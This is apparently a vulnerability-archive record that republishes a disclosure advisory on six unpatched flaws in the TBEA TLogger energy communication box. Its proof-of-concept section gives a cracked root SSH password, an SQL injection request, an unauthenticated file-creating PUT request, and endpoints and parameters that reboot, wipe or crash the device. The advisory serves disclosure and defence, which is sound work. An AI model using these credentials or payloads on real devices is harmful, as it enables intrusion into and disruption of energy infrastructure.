GCVE-1988-2026-0381

Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
Title
Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation
Summary
------------------------------------------------------------------------------- title| Multiple Vulnerabilities in TBEA TLogger product| TBEA TLogger (TBEA Communication Box 3rd Generation) vulnerable version| V2.1.0.0B0.0.0.0 fixed version| - CVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680, | CVE-2025-15681, CVE-2025-15682, CVE-2025-15683 impact| Critical homepage| https://www.tbea.com/ ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "TBEA, a group committed to “green and low-carbon development”, is a pioneer in global energy-efficient power transmission and distribution, and a industry-leading service provider of clean energy solutions." Source: https://en.tbea.com/about.html Vulnerable versions ------------------------------------------------------------------------------- TBEA TLogger / V2.1.0.0B0.0.0.0 Vulnerability overview ------------------------------------------------------------------------------- 1) Backdoor Account (CVE-2025-13293) The TLogger exposes SSH to the network. This SSH service also allows root login on the device. By cracking the hash from the file '/etc/shadow' it was possible to recover the password. 2) Unauthenticated SQL Injection (CVE-2025-13294) The webserver accepts unauthenticated request that trigger SQLite Queries from the CCU.db, these request are vulnerable the SQL injections. An attacker can modify, read and delete data this way. 3) Information Disclosure via UART (CVE-2025-15680) The UART interface is exposed on the circuit board. A physical attacker can use the interface to observer the boot procedure and get valuable debug information from the system via this way. 4) Insufficient Webserver Authentication (CVE-2025-15681) The authentication of the webserver was implemented in an insufficient way. A user can bypass the login via browsing to another endpoint of the system. This is only possible if any user was logged into the device previously. 5) Unauthenticated Resource Exhaustion (CVE-2025-15682) The webserver accepts a unauthenticated PUT request that create files containing user specified data in /opt/myapp/webserver/. 6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683) The webserver can be put in denial of service conditions by accessing to specific endpoints. These endpoints do not require any previous authentication. Proof of Concept ------------------------------------------------------------------------------- 1) Backdoor Account (CVE-2025-13293) By reading out the file /etc/shadow, the hash of the user root gets exposed: root:aH8eS1ufCL7xY:17464:0:99999:7::: The cracked password is: tbea1234 This can be used to login as root user via SSH to the device. 2) Unauthenticated SQL Injection (CVE-2025-13294) By sending a request where one of the parameters contains a URL encoded SQL injection you can modify the output from the query: ~ GET /action/DayCapacity?&date="1'+OR+1%3d1%3b--" HTTP/1.1 Host: 192.168.19.132 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: tbea_language=en Upgrade-Insecure-Requests: 1 Priority: u=0, i ~ This happens because the value of date is added to the query string without any parsing or validation: ~ char* r0_5 = websGetVar(wp_1, "date", 0x963a4, &wp_1) sprintf(&var_5cc, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ", r0_5, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ") strcat(&sql, &var_5cc) ~ The same method is used through out the webserver. Therefore, multiple "action" endpoints that are prone to the SQL injection vulnerability: Selects: * DayCapacity * MonthCapacity * YearCaparity * recordData * InvHistoryData (&index>=1000) * CollectHistoryData * InvFaultData (&index>=100) * GetPortTableByParm * GetDicTransmit * GetDicDataPoint * GetXMLConfigByIPAndTypeCode * GetDicDataPointByInfo * Getstation_data * Getcustom_data * GetXmlSgnalConfig * getTrackParaData Deletes: * DeletePortTable1_4ByParm * DeleteHostIP_configByIp * DeleteIP_configByIp * DeleteDicTransmit * DeleteDicDataPoint * XMLInfoInDb 3) Information Disclosure via UART (CVE-2025-15680) Two pins on the backside of the TLogger PCB can be used to gain UART access. By attaching a UART-to-USB serial converter, the following system startup can be observed: ~ U-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800) CPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz) CPU: Temperature 32 C Reset cause: POR Board: EPC-M6Y2C Watchdog enabled DRAM: 256 MiB NAND: 256 MiB MMC: FSL_SDHC: 0 In: serial Out: serial Err: serial Net: FEC1 Normal Boot Hit 'zlg' to stop autoboot: 2 1 0 [...] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready ifconfig: SIOCSIFFLAGS: Operation not permitted /etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can't create /sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied set file system rw start set file system rw end /sbin:/usr/sbin:/bin:/usr/bin /bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin / u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t - 4.8.6/plugins/imageformats:/usr/local/tslib/lib: main() start. -------------------- System: system start to run... [...] debug IP=192.168.1.253 route: SIOCADDRT: File exists webserver: 2: Configuration for Embedthis webserver webserver: 2: --------------------------------------------- webserver: 2: Version: V2.1.0.0B0.0.0.0 webserver: 2: BuildType: Debug webserver: 2: CPU: arm webserver: 2: OS: linux webserver: 2: Host: 192.168.2.253 webserver: 2: Directory: /opt/myapp/webserver webserver: 2: Documents: web webserver: 2: Configure: me -d -q -platform windows-x86-default - configure . -without ssl -gen vs webserver: 2: --------------------------------------------- webserver: 2: Started http://:80 ~ Such details and the resulting debug capabilities enable a physical attacker to debug the device effectively during runtime. 4) Insufficient Webserver Authentication (CVE-2025-15681) The webserver of the TLogger required to be logged in to the application for administrating the device. If a user has been authenticated correctly in a previous session, it was possible for a malicious actor to browse to the endpoint "/index.asp", and bypass the login process completely. The root cause is suspected to be a memory management issue within the webserver daemon itself. An attacker can not see its user name as there are just memory residue, which are displayed instead of admin. If such an unauthenticated-but-authenticated user logs out, the webserver crashes. 5) Unauthenticated Resource Exhaustion (CVE-2025-15682) By sending a PUT request to the endpoint "/tmp/", the webserver creates the file "/opt/myapp/webserver/put-0.tmp" containing the data from the request body. Every subsequent request will create a new file e.g. "put-1.tmp": ~ PUT /tmp/ HTTP/1.1 Host: 192.168.19.132 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: tbea_language=en Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Length: 22 USERSPECIFIED DATA ~ These file aren’t deleted automatically, leading to a memory resource exhaustion. This issue occurs because the webserver attempts to move the generated "put-1.tmp" file into "/opt/myapp/webserver/web/tmp/". However, the "web/tmp/" directory does not exist. 6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683) Different DoS conditions can be triggered via the webserver on the device. Unauthenticated DoS Actions: The webserver allows for multiple unauthenticated /action calls that result in a DoS: * /action/onRestart - Triggers a reboot * /action/onReset - Sets FLAG_RECREATE followed by reboot * /action/ClearData - Sets FLAG_CLEARDATA * /action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver Unauthenticated DoS via Buffer Overflow Multiple /action calls, when sent with certain parameters, result in a Segfault of the Webserver because of a buffer overflow. This happens because the typical method to assemble the queries is sprintf() and strcat() without any length checks. Vulnerable action calls: * /action/getIndiaRPData index=”1’--aaaabaaacaaadaaaeaaafa” type=1D * /action/YearCaparity date=’A’300 * /action/TotalfaultData startDate=’A’300 * /action/recordData startDate=’A’300 * /action/InvHistoryData index>=1000 startDate=’A’300 * /action/CollectHistoryData startDate=’A’300 * /action/InvFaultData index>=100 startDate=’A’300 * /action/GetPortTableByParm port='A'2000 * /action/UpdatePortConfig port='A'2000 Solution ------------------------------------------------------------------------------- None. Workaround ------------------------------------------------------------------------------- Restrict network and physical access to the device. The component should only be operated in an encapsulated/air-gapped environment. Recommendation ------------------------------------------------------------------------------- Implement a customized action plan in advance, if the product should be integrated in the infrastructure. Contact Timeline ------------------------------------------------------------------------------- 2026-01-07: Contacted Austrian Energy CERT 2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com regarding potential vulnerabilities. 2026-01-22: Contact attempt via LinkedIn with alleged "International Business Manager at TBEA". 2026-01-22: Attempted to get contact addresses via other european CERTs. 2026-01-22: Attempted to get contact addresses via Energy ISAC. 2026-04-27: Sent initial findings regarding CVE-2025-13293 and CVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com. 2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681, CVE-2025-15682 and CVE-2025-15683 to generic mailbox tbeaoffice[@]tbea[.]com. 2026-08-10: Advisory publication. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Credits
Thomas Weber | CyberDanube via Fulldisclosure
Relationships
analysis GCVE-1988-2026-0381 (this record)
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
          "vendor": "TBEA",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-------------------------------------------------------------------------------\ntitle| Multiple Vulnerabilities in TBEA TLogger\nproduct| TBEA TLogger (TBEA Communication Box 3rd Generation)\nvulnerable version| V2.1.0.0B0.0.0.0\nfixed version| -\nCVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,\n| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683\nimpact| Critical\nhomepage| https://www.tbea.com/\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"TBEA, a group committed to \u201cgreen and low-carbon development\u201d, is a pioneer in\nglobal energy-efficient power transmission and distribution, and a\nindustry-leading service provider of clean energy solutions.\"\nSource: https://en.tbea.com/about.html\nVulnerable versions\n-------------------------------------------------------------------------------\nTBEA TLogger / V2.1.0.0B0.0.0.0\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nThe TLogger exposes SSH to the network. This SSH service also allows root\nlogin on the device. By cracking the hash from the file \u0027/etc/shadow\u0027 it was\npossible to recover the password.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nThe webserver accepts unauthenticated request that trigger SQLite Queries from\nthe CCU.db, these request are vulnerable the SQL injections. An attacker can\nmodify, read and delete data this way.\n3) Information Disclosure via UART (CVE-2025-15680)\nThe UART interface is exposed on the circuit board. A physical attacker can use\nthe interface to observer the boot procedure and get valuable debug information\nfrom the system via this way.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe authentication of the webserver was implemented in an insufficient way. A\nuser can bypass the login via browsing to another endpoint of the system.\nThis is only possible if any user was logged into the device previously.\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nThe webserver accepts a unauthenticated PUT request that create files\ncontaining user specified data in /opt/myapp/webserver/.\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nThe webserver can be put in denial of service conditions by accessing to\nspecific endpoints. These endpoints do not require any previous authentication.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nBy reading out the file /etc/shadow, the hash of the user root gets exposed:\nroot:aH8eS1ufCL7xY:17464:0:99999:7:::\nThe cracked password is: tbea1234\nThis can be used to login as root user via SSH to the device.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nBy sending a request where one of the parameters contains a URL encoded SQL\ninjection you can modify the output from the query:\n~\nGET /action/DayCapacity?\u0026date=\"1\u0027+OR+1%3d1%3b--\" HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n~\nThis happens because the value of date is added to the query string without any\nparsing or validation:\n~\nchar* r0_5 = websGetVar(wp_1, \"date\", 0x963a4, \u0026wp_1)\nsprintf(\u0026var_5cc, \"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \", r0_5,\n\"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \")\nstrcat(\u0026sql, \u0026var_5cc)\n~\nThe same method is used through out the webserver. Therefore, multiple \"action\"\nendpoints that are prone to the SQL injection vulnerability:\nSelects:\n\n  *\nDayCapacity\n  *\nMonthCapacity\n  *\nYearCaparity\n  *\nrecordData\n  *\nInvHistoryData (\u0026index\u003e=1000)\n  *\nCollectHistoryData\n  *\nInvFaultData (\u0026index\u003e=100)\n  *\nGetPortTableByParm\n  *\nGetDicTransmit\n  *\nGetDicDataPoint\n  *\nGetXMLConfigByIPAndTypeCode\n  *\nGetDicDataPointByInfo\n  *\nGetstation_data\n  *\nGetcustom_data\n  *\nGetXmlSgnalConfig\n  *\ngetTrackParaData\nDeletes:\n  *\nDeletePortTable1_4ByParm\n  *\nDeleteHostIP_configByIp\n  *\nDeleteIP_configByIp\n  *\nDeleteDicTransmit\n  *\nDeleteDicDataPoint\n  *\nXMLInfoInDb\n\n3) Information Disclosure via UART (CVE-2025-15680)\nTwo pins on the backside of the TLogger PCB can be used to gain UART access.\nBy attaching a UART-to-USB serial converter, the following system startup can\nbe observed:\n~\nU-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)\nCPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)\nCPU: Temperature 32 C\nReset cause: POR\nBoard: EPC-M6Y2C\nWatchdog enabled\nDRAM: 256 MiB\nNAND: 256 MiB\nMMC: FSL_SDHC: 0\nIn: serial\nOut: serial\nErr: serial\nNet: FEC1\nNormal Boot\nHit \u0027zlg\u0027 to stop autoboot: 2 1 0\n[...]\nIPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\nifconfig: SIOCSIFFLAGS: Operation not permitted\n/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can\u0027t create\n/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied\nset file system rw start\nset file system rw end\n/sbin:/usr/sbin:/bin:/usr/bin\n/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin\n/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -\n4.8.6/plugins/imageformats:/usr/local/tslib/lib:\nmain() start.\n--------------------\nSystem: system start to run...\n[...]\ndebug IP=192.168.1.253\nroute: SIOCADDRT: File exists\nwebserver: 2: Configuration for Embedthis webserver\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Version: V2.1.0.0B0.0.0.0\nwebserver: 2: BuildType: Debug\nwebserver: 2: CPU: arm\nwebserver: 2: OS: linux\nwebserver: 2: Host: 192.168.2.253\nwebserver: 2: Directory: /opt/myapp/webserver\nwebserver: 2: Documents: web\nwebserver: 2: Configure: me -d -q -platform windows-x86-default -\nconfigure . -without ssl -gen vs\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Started http://:80\n~\nSuch details and the resulting debug capabilities enable a physical attacker to\ndebug the device effectively during runtime.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe webserver of the TLogger required to be logged in to the application for\nadministrating the device. If a user has been authenticated correctly in a\nprevious session, it was possible for a malicious actor to browse to the\nendpoint \"/index.asp\", and bypass the login process completely. The root cause\nis suspected to be a memory management issue within the webserver daemon itself.\nAn attacker can not see its user name as there are just memory residue, which\nare displayed instead of admin. If such an unauthenticated-but-authenticated\nuser logs out, the webserver crashes.\n\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nBy sending a PUT request to the endpoint \"/tmp/\", the webserver creates the\nfile \"/opt/myapp/webserver/put-0.tmp\" containing the data from the request\nbody. Every subsequent request will create a new file e.g. \"put-1.tmp\":\n~\nPUT /tmp/ HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\nContent-Length: 22\nUSERSPECIFIED DATA\n~\nThese file aren\u2019t deleted automatically, leading to a memory resource\nexhaustion. This issue occurs because the webserver attempts to move the\ngenerated \"put-1.tmp\" file into \"/opt/myapp/webserver/web/tmp/\". However, the\n\"web/tmp/\" directory does not exist.\n\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nDifferent DoS conditions can be triggered via the webserver on the device.\nUnauthenticated DoS Actions:\nThe webserver allows for multiple unauthenticated /action calls that result in\na DoS:\n\n  *\n/action/onRestart - Triggers a reboot\n  *\n/action/onReset - Sets FLAG_RECREATE followed by reboot\n  *\n/action/ClearData - Sets FLAG_CLEARDATA\n  *\n/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver\n\nUnauthenticated DoS via Buffer Overflow\nMultiple /action calls, when sent with certain parameters, result in a Segfault\nof the Webserver because of a buffer overflow. This happens because the typical\nmethod to assemble the queries is sprintf() and strcat() without any length\nchecks.\nVulnerable action calls:\n\n  *\n/action/getIndiaRPData index=\u201d1\u2019--aaaabaaacaaadaaaeaaafa\u201d type=1D\n  *\n/action/YearCaparity date=\u2019A\u2019300\n  *\n/action/TotalfaultData startDate=\u2019A\u2019300\n  *\n/action/recordData startDate=\u2019A\u2019300\n  *\n/action/InvHistoryData index\u003e=1000 startDate=\u2019A\u2019300\n  *\n/action/CollectHistoryData startDate=\u2019A\u2019300\n  *\n/action/InvFaultData index\u003e=100 startDate=\u2019A\u2019300\n  *\n/action/GetPortTableByParm port=\u0027A\u00272000\n  *\n/action/UpdatePortConfig port=\u0027A\u00272000\n\nSolution\n-------------------------------------------------------------------------------\nNone.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network and physical access to the device. The component should only\nbe operated in an encapsulated/air-gapped environment.\n\nRecommendation\n-------------------------------------------------------------------------------\nImplement a customized action plan in advance, if the product should be\nintegrated in the infrastructure.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-01-07: Contacted Austrian Energy CERT\n2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com\nregarding potential vulnerabilities.\n2026-01-22: Contact attempt via LinkedIn with alleged \"International Business\nManager at TBEA\".\n2026-01-22: Attempted to get contact addresses via other european CERTs.\n2026-01-22: Attempted to get contact addresses via Energy ISAC.\n2026-04-27: Sent initial findings regarding CVE-2025-13293 and\nCVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.\n2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,\nCVE-2025-15682 and CVE-2025-15683 to generic mailbox\ntbeaoffice[@]tbea[.]com.\n2026-08-10: Advisory publication.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/82"
        },
        {
          "url": "http://:80"
        },
        {
          "url": "https://en.tbea.com/about.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.tbea.com/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/82"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-13293",
              "type": "related"
            },
            {
              "destId": "CVE-2025-13294",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15680",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15681",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15682",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15683",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0381",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82",
            "automated": true,
            "contentSha256": "c9eac5e1a50dea19ad61e2d01ad80edba3199414b78ed31094c0da01cf6f1b2b",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/82",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-25T13:18:02Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0381"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0381"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.